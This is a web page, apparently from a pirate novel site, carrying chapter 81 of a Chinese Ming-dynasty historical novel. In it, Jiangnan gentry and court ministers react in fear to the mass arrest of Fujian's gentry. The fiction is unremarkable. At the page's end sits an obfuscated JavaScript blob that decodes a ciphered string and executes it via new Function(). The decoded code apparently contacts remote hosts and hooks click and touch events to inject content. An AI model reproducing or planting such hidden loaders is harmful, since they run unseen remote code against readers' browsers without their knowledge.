首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第81章 天下士绅皆震且惧,后知后觉的朝廷官员

下载APP,无广告、完整阅读
    第81章天下士绅皆震且惧,后知后觉的朝廷官员(第1/2页)
    另一边,苏州。
    暑气还没有完全退尽,秦淮河两岸的柳枝已经从深绿泛出了枯黄。
    午后的一场雷雨来得急去得也快,雨后的街巷弥漫着泥土和青苔的气味,石板路上还汪着一洼一洼的积水,映着灰蒙蒙的天光,像一面面破碎的镜子。
    往常这个时辰,苏州城里的茶馆早就坐满了人。
    说书的先生敲着醒木,讲一段三国,说一段西游,茶客们磕着瓜子,喝着碧螺春,从朝堂大事聊到街巷琐闻,从赋税聊到米价,从江南的风物聊到北方的战事,能说上一个下午。
    但今天,茶馆里空空荡荡。
    说书先生的醒木搁在桌上,没有敲。
    茶博士提着长嘴铜壶站在门口,没有客人。
    那几张摆在临窗位置的八仙桌上,还留着早上客人喝过的茶碗,茶汤已经凉透了,茶叶沉在杯底,像一潭死水。
    没有人来收,也没有人来喝。
    整条街都安静得不正常,连卖花的小姑娘都不见了踪影。
    因为消息传过来了。
    从福建来的消息,像长了翅膀一样,沿着四通八达的驿道,朝着大明帝国的每一个角落飞去。
    八百里加急的驿卒昼夜不停地奔驰,马蹄踏碎了江南的官道,踏过了长江两岸的稻田,踏进了每一个府县衙门的签押房。
    不是捷报,不是普通的邸报,是一份足以让天下所有士绅都睡不着觉的消息——福建全省的士绅豪商,全部被锦衣卫拿下了。
    不是一家两家,不是福州四林,是福建八府一州、五千三百七十二户、二十余万人,全部被拿下。
    从福州到泉州,从泉州到漳州,从漳州到延平,从延平到建宁,从建宁到邵武,从邵武到汀州,从汀州到兴化,最后到福宁州。
    整个福建省,除了普通百姓之外,连一户士绅商贾都找不到了。
    二十余万人,被中央都督府的五万大军押着,从福州出发,浩浩荡荡地向京师行进。
    队伍绵延数十里,走在最前面的是英国公张懋的帅旗,走在最后面的押队将士还刚刚走出福州城,最前面的队伍已经过了闽江。
    沿途经过的每一个府、每一个县,百姓们都看到了那支庞大的、望不到头的队伍。
    苏州的士绅们听到这个消息的时候,正在申家的正堂里喝茶。
    申时雨坐在主位上,手里端着茶杯,茶已经凉了,他没有喝,就那么端着,像一尊雕塑。
    他的手在微微发抖,茶杯在碟子里发出细微的、急促的碰撞声,叮叮当当,像有人在很远的地方敲着碎瓷。
    他的目光落在正堂中央那幅巨大的中堂画上——画的是松鹤延年,笔力遒劲,据说是某位致仕的大学士的手笔。
    他已经看了无数遍了,从来没有觉得这幅画这么刺眼过。
    王世贞坐在申时雨的左手边,脸色白得像纸。
    他的嘴唇在剧烈地颤抖,他想说点什么,但一个字也说不出来。
    他的手攥着椅子扶手,指节泛白,青筋暴起,指甲嵌进了紫檀木的纹理里,发出细微的咯吱声。
    他觉得自己做了一场噩梦,一场怎么也醒不过来的噩梦。
    陆鼎坐在王世贞旁边,他的腿在发抖,从膝盖一直抖到脚尖,怎么都止不住。
    他已经换了好几个坐姿,怎么坐都不舒服,因为那股从心底里冒出来的寒意,不是坐姿能缓解的。
    他的目光死死地盯着正堂门口的方向,像是在等什么人,又像是在等什么消息。
    顾宪坐在最末席,低着头,看着自己面前那杯已经凉透了的茶。
    茶汤的颜色很深,深得像一潭死水,倒映着他的脸——那张平日里总是带着几分风雅和从容的脸,此刻写满了恐惧。
    他的手指在椅子扶手上轻轻叩击着,发出细微的、急促的声响,那节奏暴露了他内心的慌乱。
    正堂里安静了很久。
    申时雨终于开口了,声音沙哑而低沉,每一个字都像是从喉咙里挤出来的,带着一种压抑不住的、近乎绝望的疲惫。
    “福建全省的士绅……全部被拿下了。”
    他重复了一遍这个消息,像是在确认自己没有听错,又像是在说服自己这是真的。
    他的嘴唇在剧烈地颤抖,目光从几个人脸上扫过,那张方正的脸上,此刻没有往日的从容和笃定,只有一种深深的、刻骨的恐惧。
    “二十余万人……从福州押往京师……队伍绵延数十里……”
    每说一个词,他的声音就低一分,低到最后几乎只有他自己能听见。但正堂里太安静了,再低的声音也清清楚楚。
    王世贞的手指猛地一顿,茶杯在碟子里发出一声清脆的响声,茶水溅了出来,滴在桌面上,洇出一小片深色的印记。
    他没有去擦,甚至没有低头看一眼。他的眼睛直直地盯着申时雨,嘴唇微微张开,又合上,又张开,又合上,像是在想说什么,却不知道该从何说起。
    正堂里的空气像是被什么东西冻住了,六月下旬的天气已经入了夏,蝉鸣声从院子里的老槐树上传来,一声一声,吵得人心烦意乱。
    但正堂里的四个人,没有一个觉得热。他们觉得冷,从骨头缝里往外冒寒气。
    “二十余万人……”
    王世贞终于找回了自己的声音,但他的声音已经变了调,又尖又细,像是被人掐住了喉咙。
    他的眼睛瞪得很大,眼白上布满了血丝,像是好几天没有合眼的样子,又像是一下子老了十岁。
    “整个福建省……士绅……五千三百七十二户……二十余万人……全部拿下……一个不留……”
    他的声音忽然哽住了,喉结上下滚动了一下,像是在咽下一口苦涩的唾沫。
    他想起了自己家里那些见不得光的账册,想起了那些瞒报的田产,想起了那些和王家来往密切的福建商号。
    每一桩、每一件,现在回想起来,都像是悬在头顶上的一把刀。
    陆鼎的腿终于不抖了,但他的脸色比刚才更难看了。
    他的嘴唇上有一道干裂的口子,渗出一丝鲜血,他没有去舔,甚至没有感觉到疼。
    他的脑子里只有一个念头在反复回荡——朝廷能这样对福建,就能这样对苏州。
    “二十余万人……”
    陆鼎重复了一遍这个数字,声音很轻,轻得像是在自言自语。
    他忽然笑了一声,那笑声里没有欢喜,只有一种说不清的苦涩。
    他在福建也有生意,有好几间商铺,是和一个福建商人合伙开的。
    那个福建商人姓林,是东林林家的远房亲戚。他以为这只是一桩生意,和林家没有关系,和造反更没有关系。
    但现在他不确定了。
    顾宪一直低着头,没有说话。他的手指还在椅子扶手上轻轻叩击着,一下一下,不急不缓,但那节奏比刚才更乱了,像是心脏在不规则地跳动。
    他听到陆鼎的话,终于抬起头来,那双眼睛里,有一种说不清的东西,是恐惧,是绝望,还是别的什么,没有人说得清。
    “我们之前推动的那些民怨、民变……”
    他没有把话说完,因为不需要说完。
    正堂里的另外三个人都听懂了他的意思。
    他们之前为了让朝廷知难而退,派人散布消息,说朝廷要加税、要抢粮、要把百姓的田产收归国有。
    那些消息在苏州城里传得沸沸扬扬,百姓们人心惶惶,有的已经在准备闹事了。他们以为自己做得天衣无缝,以为朝廷查不到他们头上。
    但现在,福建全省的士绅都被拿下了。
    连那些只是和林家做生意的、只是和林家有过书信往来的、只是没有举报林家的,全部被拿下。
    知情不报,就是从犯。从犯,也要抄家拿人。那他们呢?他们散布谣言、煽动民怨,算什么?煽动民变?还是造反?
    顾宪的手停住了。
    申时雨靠在椅背上,闭上了眼睛。他的眼皮在微微跳动,不是从容,是不安。
    他的手搁在椅子扶手上,手指微微蜷着,像是在抓着什么东西,又像是在松开什么东西。他在想——该怎么办。
    继续闹?
    福建全省的士绅都被拿下了,二十多万人被押往京师,队伍绵延数十里。
    他们苏州的士绅,比福建的士绅多几根骨头?比福建的士绅多几条命?
    继续闹,就是往刀口上撞。
    皇帝正愁没人可以杀鸡儆猴,他们自己送上去,皇帝会客气?
    不闹?
    那之前散布的那些谣言、煽动的那些民怨,怎么办?
    万一朝廷查起来,万一锦衣卫的暗探已经到苏州了,万一他们的名字已经写在锦衣卫的名册上了——怎么办?
    王世贞从椅子上站了起来,椅子在他身后向后滑了半尺,发出一声刺耳的摩擦声,在安静的正堂里格外刺耳。
    他没有理会那把椅子,在正堂里来回踱步,脚步很重,每一步都像是要把青砖踩碎。他的靴子踩在地面上,发出沉闷的、急促的声响,像是有人在擂鼓。
    “不能闹了。”
    他停下脚步,转过身来,目光在三个人脸上扫过。
    他的声音还是沙哑的,但比刚才稳了一些,像是在绝望中找到了最后一根稻草,“立刻叫停所有的民怨、民变行为。”
    “派出去的人,马上收回来。散布出去的消息,想办法澄清。不管用什么办法,不能让百姓真的闹起来。”
    他顿了顿,深吸一口气,那口气吸得很深,很深,像是要把正堂里所有的空气都吸进肺里。
    他的胸膛剧烈地起伏了一下,然后他的声音像是一道惊雷,在正堂里炸开。
    “万一真的闹起来,朝廷就不会只拿福建了。”
    这句话落下的瞬间,正堂里的空气像是被什么东西猛地抽走了一样。
    朝廷不会只拿福建,苏州也在江南,苏州也是赋税重地,苏州的士绅不比福建少。
    如果苏州也闹起来,朝廷会不会也把苏州全省的士绅全部拿下?
    会不会也把苏州的士绅押到京师去?
    没有人知道答案,但没有人敢赌。
    陆鼎点了点头。他的动作很慢,像是脖子上的骨头生了锈,每动一下都发出咯吱咯吱的声响。
    他的脸色还是蜡黄的,但他的目光比刚才清明了一些。
    (本章未完,请点击下一页继续阅读)第81章天下士绅皆震且惧,后知后觉的朝廷官员(第2/2页)
    “我这就派人去收。”
    他的声音还是有些发颤,但每一个字都清清楚楚,“所有派出去的人,全部叫回来。所有散布出去的消息,想办法掩盖。”
    “该灭口的灭口,该收买的收买,该威胁的威胁。不管用什么办法,不能让百姓真的闹起来。”
    他站起身来,整了整衣冠,大步走出了正堂。
    他的步伐很快,靴子踩在青石板铺就的小径上,发出急促的“咚咚”声。那声音从近到远,从大到小,很快就消失在了院子的拐角处。
    顾宪也站了起来,整了整衣冠。他的动作比平时慢了许多,像是每一个动作都要耗费很大的力气。
    他将袖口上的褶皱抚平,将腰间的丝绦系紧,将胸前那枚古玉摆正。
    虽然手在微微发抖,但他的表情很平静,平静得像一潭死水。
    “我去联络其他士绅。”
    他的声音不大,但每一个字都清清楚楚,“让他们也把人收回去。告诉他们——福建就是前车之鉴。谁要是还敢继续闹,谁就是下一个福建,谁都跑不掉。”
    他转过身,大步走出了正堂。他的步伐比陆鼎慢一些,但每一步都很稳,靴子踩在青石板上,发出沉稳的、有节奏的声响。
    申时雨最后一个站起来,他没有急着走,而是走到窗前,推开窗户。
    窗外的阳光照进来,照在他花白的头发上,照在他清瘦的脸上,照在他微微佝偻的背上。
    他的目光穿过窗户,望向院子里的老槐树,望向树冠间漏下的斑驳阳光,望向那些在树叶间跳来跳去的麻雀。
    蝉鸣声从老槐树上传来,一声一声,吵得人心烦意乱。但他没有关窗户,就那么站在窗前,让阳光照着他的脸,让蝉鸣填满他的耳朵。
    “二十余万人。”他低声说,声音很轻,轻得像是在对窗外的蝉说话,“皇帝下手真狠呀。”
    没有人回答他。
    与此同时,杭州、湖州、嘉兴、松江、常州——江南的每一个府、每一个县,都在上演着同样的场景。
    士绅们关起门来,压低声音,商量着同一件事——怎么把之前煽动起来的民怨按下去,怎么把自己从这场风暴中摘出来。
    杭州的士绅们反应最快,杭州离福建近,消息传得快,福建的惨状他们听得最清楚。
    杭州知府甚至不需要再派人去催,杭州的士绅就主动找上门来,表示愿意配合朝廷催缴赋税,愿意补缴历年来的拖欠。
    他们之前散布的谣言——说朝廷要加税、要抢粮、要把百姓的田产收归国有——现在要一个一个地澄清。
    杭州士绅们花了大价钱,派人去澄清谣言,说之前那些消息都是谣言,是有人故意散布的,朝廷从来没有要加税,从来没有要抢粮,从来没有要把百姓的田产收归国有。
    他们还派人到乡下去,挨家挨户地解释,说之前的消息是假的,让大家不要相信,不要闹事。
    有的士绅甚至自掏腰包,给那些已经被煽动起来的百姓发了“安抚费”,一人几百文钱,说是“误会”,让大家“消消气”。
    百姓们拿到钱,也就不闹了。
    湖州的士绅们比杭州的士绅慢了一步,但也不算太慢。
    湖州的士绅们开了一夜的会,第二天一早就派人去各乡各村,把之前派出去散布谣言的人收了回来。
    有的士绅更干脆,直接把那些负责散布谣言的管家辞了,推得一干二净——“是管家自作主张,我什么都不知道。”
    松江的士绅们比湖州的士绅更快,松江是棉布之乡,松江的士绅大多做棉布生意,和福建的海商关系密切。福建的事,他们比杭州的士绅更早听到风声。
    所以早在消息传到苏州之前,松江的士绅就已经开始收手了。
    散布谣言的人早就收回来了,煽动百姓的钱早就停了,连那些和福建有生意往来的商号都关了门,账册烧了,伙计遣散了,干干净净,不留痕迹。
    常州的士绅们反应最慢,不是因为常州离福建远,是因为常州的士绅胆子大,总觉得朝廷不敢把他们怎么样。
    但福建的消息传来之后,常州的士绅们就不这么想了。
    二十余万人,五千三百七十二户,整个福建省的士绅全部被拿下。
    朝廷敢这么对福建,就敢这么对常州。
    常州的士绅不比福建的士绅多几根骨头,也不比福建的士绅多几条命。
    松江府、常州府、镇江府、扬州府、淮安府——南直隶的每一个府,都在做着同样的事。之前那些因为催缴赋税而蠢蠢欲动的士绅,此刻一个个缩了回去。
    他们本来计划着要联名上书、要串联反对、要煽动百姓。
    但现在他们不敢了,因为他们看到了福建的下场。
    二十多万人,五千三百七十二户,整个福建省的士绅全部被拿下。
    从福州到泉州,从泉州到漳州,从漳州到延平,从延平到建宁,从建宁到邵武,从邵武到汀州,从汀州到兴化,最后到福宁州。
    没有一个漏掉,没有一个幸免。
    他们怕,怕自己成为下一个福建。
    可以说,整个江南,从长江口到杭州湾,从太湖平原到钱塘江两岸,所有的士绅都在做同一件事——把自己之前煽动起来的民怨按下去。
    而那些因为科举改革而愤愤不平的士子们,此刻一个个噤若寒蝉。
    杭州府学的明伦堂里,曾经坐满了愤怒的年轻士子,拍着桌子,摔着茶杯,喊着要联名上书,要请皇帝收回成命。
    现在明伦堂里空空荡荡,只有几个老学究在低声交谈,声音轻得像是在做贼。
    读书人的笔,再锋利也砍不过锦衣卫的刀。
    科举改革再不公平,也比丢了命强。
    文章写得再好,金榜题了名,光宗耀了祖,出人头了地——脑袋没了,一切都等于零。
    所以他们不闹了,也不敢闹了。
    他们缩在各自的房间里,关紧门窗,把那些写满了愤怒的草稿纸一张一张地烧掉,把那些慷慨激昂的文章一页一页地撕碎。
    灰烬飘在空气中,带着墨香和焦糊的味道,像是一场无声的葬礼。
    同时,朝廷的文官也是这个时候才收到福建全省士绅被拿下的消息。
    因为朱厚照改制之后,下达给将领的命令不需要再经过一众文臣,所以朝堂上的文官们对福建的事,知道得并不比普通百姓早多少。
    吏部尚书焦芳收到消息的时候,正在签押房里看一份考成法的执行报告。
    他的手在微微发抖,不是因为冷,是因为怕。
    他的脑子里只有一个念头在反复回荡——整个福建省的士绅……全部被拿下了?五千三百七十二户?二十余万人?
    焦芳闭上了眼睛,深深地吸了一口气。他在吏部做了这么多年,见过的大案要案不计其数。
    诛九族的事他见过,抄家的事他见过,缉拿钦犯的事他也见过。
    但他从来没有见过一个省的士绅全部被拿下的,从来没有。
    他在心里飞速地盘算着——福建的士绅拿下了,其他省的呢?
    浙江的?南直隶的?江西的?湖广的?广东的?皇帝会不会一个省一个省地清下去?会不会把天下所有的士绅全部拿下?
    户部尚书王鏊收到消息的时候,正在书房里看一份各省赋税催缴的汇总报告。他的脸色从红润变成了惨白,又从惨白变成了铁青。
    他的手在剧烈地发抖,那份密报在他手中不停地晃动,纸张发出细微的沙沙声,像是秋风吹过枯叶。
    “福建全省的士绅……全部被拿下……”
    他的声音很轻,轻得像是在自言自语。但他的心里一点都不轻,像压了一块巨大的石头,压得他喘不过气来。
    他是苏州人,是苏州的士绅。他的族人还在苏州,他的田产还在苏州,他的家业还在苏州。
    朝廷能这样对福建,就能这样对苏州。
    朝廷能拿下福建全省的士绅,就能拿下苏州全省的士绅。
    他的族人——他的兄弟、他的侄子、他的孙子——会不会也被拿下?他的田产——他攒了大半辈子的田产——会不会也被没收?
    礼部尚书张昇收到消息的时候,正在礼部衙门的签押房里看一份恩科的筹备报告。
    他的手一抖,报告从手中滑落,散了一地。
    他没有去捡,就那么坐在椅子上,一动不动,像一尊雕塑。
    他的脑子里一片空白,只有一个念头在反复回荡——二十余万人,五千三百七十二户,整个福建省的士绅,全部被拿下。
    他想起了那些因为科举改革而愤怒的士子,想起了那些曾经拍着桌子说要联名上书的年轻人,想起了那些慷慨激昂的文章和振振有词的演说。
    现在,他们还敢闹吗?
    不敢了。
    因为他们看到了福建的下场,谁还敢闹?
    谁还敢拿自己的身家性命去赌?
    赌赢了,不过是一个进士的名额。
    赌输了,全家全族都要跟着陪葬。
    这笔账,再笨的人也会算。
    张昇忽然觉得,科举改革,也许没有那么难推行了。
    刑部尚书屠勋收到消息的时候,正在刑部衙门的正堂里审理一桩积压已久的案件。
    听到消息,他的手猛地一顿,惊堂木从手中滑落,掉在地上,发出一声清脆的响。
    他没有去捡,就那么坐着,目光空洞地望着前方。
    他的心里只有一个念头——福建的事,刑部管不了。
    锦衣卫办的,中央都督府和东海都督府压阵,三法司连插手的机会都没有。
    以前,朝廷要拿人,要经过刑部、大理寺、都察院三法司会审。
    刑部审了,大理寺复核,都察院监审,一套流程走下来,少说也要三五个月,慢的一两年都有可能。
    现在呢?
    锦衣卫直接拿人,都督府直接压阵,皇帝直接下旨。
    三法司连看都看不到,连问都问不了,连插嘴的资格都没有。
    工部尚书曾鉴、御史台卿梁储......一个个官员都在热议。
    因为福建全省的士绅被拿下,这件事实在是太大了。
    大到满朝文武都在议论,大到通政院的奏章堆成了山,大到皇帝的御案上摆满了劝谏的奏疏。

一秒记住【笔趣阁】
biquge120.net,更新快,无弹窗!

章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();